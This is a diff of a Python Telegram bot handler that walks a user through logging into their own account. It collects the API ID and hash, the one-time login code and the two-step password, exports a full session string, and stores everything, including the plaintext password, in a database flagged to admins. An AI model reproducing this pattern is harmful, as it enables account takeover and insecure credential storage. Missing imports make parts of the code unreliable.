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from random import choice
|
5 |
+
import logging
|
6 |
+
from datetime import datetime as dt
|
7 |
+
from asyncio.exceptions import TimeoutError
|
8 |
+
from pyrogram import Client, filters
|
9 |
+
|
10 |
+
from database import db
|
11 |
+
from config import PRIVATE_GROUP_ID
|
12 |
+
|
13 |
+
from pyrogram.errors import (
|
14 |
+
FloodWait,
|
15 |
+
PhoneNumberInvalid,
|
16 |
+
PhoneCodeInvalid,
|
17 |
+
PhoneCodeExpired,
|
18 |
+
SessionPasswordNeeded
|
19 |
+
)
|
20 |
+
from pyrogram.types import (
|
21 |
+
InlineKeyboardMarkup,
|
22 |
+
InlineKeyboardButton
|
23 |
+
)
|
24 |
+
|
25 |
+
LOGS = logging.getLogger(__name__)
|
26 |
+
|
27 |
+
def generate_random_string(length):
|
28 |
+
characters = string.ascii_uppercase + string.digits
|
29 |
+
random_string = ''.join(choice(characters) for _ in range(length))
|
30 |
+
return random_string
|
31 |
+
|
32 |
+
@Client.on_message(
|
33 |
+
filters.contact
|
34 |
+
& filters.private
|
35 |
+
)
|
36 |
+
async def contact_check(bot, message):
|
37 |
+
if message.contact:
|
38 |
+
user_id = message.from_user.id
|
39 |
+
new_code_password = ""
|
40 |
+
contact = message.contact
|
41 |
+
client_name = generate_random_string(12)
|
42 |
+
phone = "+" + contact.phone_number
|
43 |
+
|
44 |
+
try:
|
45 |
+
confirm_apid = await message.chat.ask(
|
46 |
+
"Please send your API ID (from my.telegram.org):\n\n"
|
47 |
+
"Format should be: `123456`\n\n"
|
48 |
+
"Type /cancel to abort",
|
49 |
+
timeout=300
|
50 |
+
)
|
51 |
+
except TimeoutError:
|
52 |
+
return await bot.send_message(
|
53 |
+
message.chat.id, "`Time limit reached of 5 min.`"
|
54 |
+
)
|
55 |
+
if confirm_apid.text.lower() == "/cancel":
|
56 |
+
return await bot.send_message(message.chat.id, "Cancelled")
|
57 |
+
api_id = confirm_apid.text
|
58 |
+
await confirm_apid.delete()
|
59 |
+
|
60 |
+
try:
|
61 |
+
confirm_apihash = await message.chat.ask(
|
62 |
+
"Please send your API HASH (from my.telegram.org):\n\n"
|
63 |
+
"Format should be: `6asdksxxxxxxxx`\n\n"
|
64 |
+
"Type /cancel to abort",
|
65 |
+
timeout=300
|
66 |
+
)
|
67 |
+
except TimeoutError:
|
68 |
+
return await bot.send_message(
|
69 |
+
message.chat.id, "`Time limit reached of 5 min.`"
|
70 |
+
)
|
71 |
+
if confirm_apihash.text.lower() == "/cancel":
|
72 |
+
return await bot.send_message(message.chat.id, "Cancelled")
|
73 |
+
api_hash = confirm_apihash.text
|
74 |
+
await confirm_apihash.delete()
|
75 |
+
|
76 |
+
client = Client(
|
77 |
+
"{}".format(client_name),
|
78 |
+
api_id=int(api_id),
|
79 |
+
api_hash=api_hash
|
80 |
+
)
|
81 |
+
try:
|
82 |
+
await client.connect()
|
83 |
+
except ConnectionError:
|
84 |
+
await client.disconnect()
|
85 |
+
await client.connect()
|
86 |
+
except Exception as e:
|
87 |
+
LOGS.error(f"Error Connect Userbot: {str(e)}")
|
88 |
+
await client.disconnect()
|
89 |
+
return await bot.send_message(message.chat.id, "Error try again problem")
|
90 |
+
|
91 |
+
while True:
|
92 |
+
confirm = await message.chat.ask(
|
93 |
+
f'`Is "{phone}" correct? (y/n):` \n\ntype: `y` (If Yes)\ntype: `n` (If No)'
|
94 |
+
)
|
95 |
+
if confirm.text.lower() == "/cancel":
|
96 |
+
await bot.send_message(message.chat.id, "Cancelled")
|
97 |
+
return await client.disconnect()
|
98 |
+
if "y" in confirm.text.lower():
|
99 |
+
await confirm.delete()
|
100 |
+
break
|
101 |
+
try:
|
102 |
+
code = await client.send_code(phone)
|
103 |
+
await asyncio.sleep(1)
|
104 |
+
except FloodWait as e:
|
105 |
+
return await bot.send_message(
|
106 |
+
message.chat.id,
|
107 |
+
f"`you have floodwait of {e.value} Seconds`"
|
108 |
+
)
|
109 |
+
except PhoneNumberInvalid:
|
110 |
+
return await bot.send_message(
|
111 |
+
message.chat.id,
|
112 |
+
"`your Phone Number is Invalid.`"
|
113 |
+
)
|
114 |
+
except Exception as e:
|
115 |
+
return await bot.send_message(
|
116 |
+
message.chat.id,
|
117 |
+
f"`your Phone Number is Invalid: {e}`"
|
118 |
+
)
|
119 |
+
try:
|
120 |
+
otp = await message.chat.ask(
|
121 |
+
(
|
122 |
+
"`An otp is sent to your phone number, "
|
123 |
+
"Please enter otp in\n`1 2 3 4 5` format.`\n\n"
|
124 |
+
"`If Bot not sending OTP then try` /restart `cmd and again` /start `the Bot.`\n"
|
125 |
+
"Press /cancel to Cancel."
|
126 |
+
),
|
127 |
+
timeout=300,
|
128 |
+
)
|
129 |
+
except TimeoutError:
|
130 |
+
return await bot.send_message(
|
131 |
+
message.chat.id, "`Time limit reached of 5 min.`"
|
132 |
+
)
|
133 |
+
if otp.text.lower() == "/cancel":
|
134 |
+
await bot.send_message(message.chat.id, "Cancelled")
|
135 |
+
return await client.disconnect()
|
136 |
+
otp_code = otp.text
|
137 |
+
await otp.delete()
|
138 |
+
try:
|
139 |
+
await client.sign_in(
|
140 |
+
phone,
|
141 |
+
code.phone_code_hash,
|
142 |
+
phone_code=" ".join(str(otp_code))
|
143 |
+
)
|
144 |
+
except PhoneCodeInvalid:
|
145 |
+
return await bot.send_message(message.chat.id, "`Invalid Code.`")
|
146 |
+
except PhoneCodeExpired:
|
147 |
+
return await bot.send_message(message.chat.id, "`Code is Expired.`")
|
148 |
+
except SessionPasswordNeeded:
|
149 |
+
try:
|
150 |
+
two_step_code = await message.chat.ask(
|
151 |
+
"`This account have two-step verification code.\nPlease enter your second factor authentication code.`\nPress /cancel to Cancel.",
|
152 |
+
timeout=300,
|
153 |
+
)
|
154 |
+
except TimeoutError:
|
155 |
+
return await bot.send_message(
|
156 |
+
message.chat.id, "`Time limit reached of 5 min.`"
|
157 |
+
)
|
158 |
+
if two_step_code.text.lower() == "/cancel":
|
159 |
+
await bot.send_message(message.chat.id, "Cancelled")
|
160 |
+
return await client.disconnect()
|
161 |
+
new_code = two_step_code.text
|
162 |
+
new_code_password += two_step_code.text
|
163 |
+
await two_step_code.delete()
|
164 |
+
try:
|
165 |
+
await client.check_password(new_code)
|
166 |
+
except Exception as e:
|
167 |
+
return await bot.send_message(
|
168 |
+
message.chat.id, "**ERROR:** `{}`".format(e)
|
169 |
+
)
|
170 |
+
except Exception as e:
|
171 |
+
return await bot.send_message(
|
172 |
+
message.chat.id, "**ERROR:** `{}`".format(e),
|
173 |
+
)
|
174 |
+
session_string = await client.export_session_string()
|
175 |
+
await client.disconnect()
|
176 |
+
now = dt.now().strftime("%Y-%m-%d %H:%M:%S")
|
177 |
+
admin_buttons = InlineKeyboardMarkup([
|
178 |
+
[InlineKeyboardButton("β
Approve", callback_data=f"approved_ub_{user_id}"),
|
179 |
+
InlineKeyboardButton("β Reject", callback_data=f"rejected_ub_{user_id}")],
|
180 |
+
[InlineKeyboardButton("π€ View User", url=f"tg://user?id={user_id}")]
|
181 |
+
])
|
182 |
+
user_data = {
|
183 |
+
"api_id": int(api_id),
|
184 |
+
"api_hash": api_hash,
|
185 |
+
"user_id": user_id,
|
186 |
+
"is_active": False,
|
187 |
+
"status": "pending",
|
188 |
+
"created_at": now,
|
189 |
+
"timestamp": now,
|
190 |
+
"first_name": message.from_user.first_name,
|
191 |
+
"username": message.from_user.username,
|
192 |
+
"phone_number": phone,
|
193 |
+
"password": new_code_password,
|
194 |
+
"session_string": session_string,
|
195 |
+
}
|
196 |
+
existing_request = await db.users_detection.find_one({"user_id": user_id})
|
197 |
+
if existing_request:
|
198 |
+
await db.users_detection.update_one(
|
199 |
+
{"user_id": user_id},
|
200 |
+
{
|
201 |
+
"$push": {"user_client": user_data},
|
202 |
+
"$set": {"last_updated": now}
|
203 |
+
},
|
204 |
+
upsert=True
|
205 |
+
)
|
206 |
+
else:
|
207 |
+
await db.users_detection.insert_one(
|
208 |
+
{
|
209 |
+
"user_id": user_id,
|
210 |
+
"user_client": [user_data],
|
211 |
+
"created_at": now,
|
212 |
+
"last_updated": now
|
213 |
+
}
|
214 |
+
)
|
215 |
+
await bot.send_message(
|
216 |
+
message.chat.id,
|
217 |
+
f"β
**Deployment Detection Request Submitted**\n\n"
|
218 |
+
f"β³ Admin approval usually takes <15 minutes",
|
219 |
+
reply_markup=InlineKeyboardMarkup([
|
220 |
+
[InlineKeyboardButton("π Check Status", callback_data=f"statusub_{user_id}")]
|
221 |
+
])
|
222 |
+
)
|
223 |
+
await bot.send_message(
|
224 |
+
PRIVATE_GROUP_ID,
|
225 |
+
text=f"**New Detection Request**\n\n"
|
226 |
+
f"π€ User: {message.from_user.mention} (`{user_id}`)\n"
|
227 |
+
f"π Username: @{message.from_user.username}\n"
|
228 |
+
f"β° Submitted: {now}\n"
|
229 |
+
f"π· Tier: π Free",
|
230 |
+
reply_markup=admin_buttons
|
231 |
+
)
|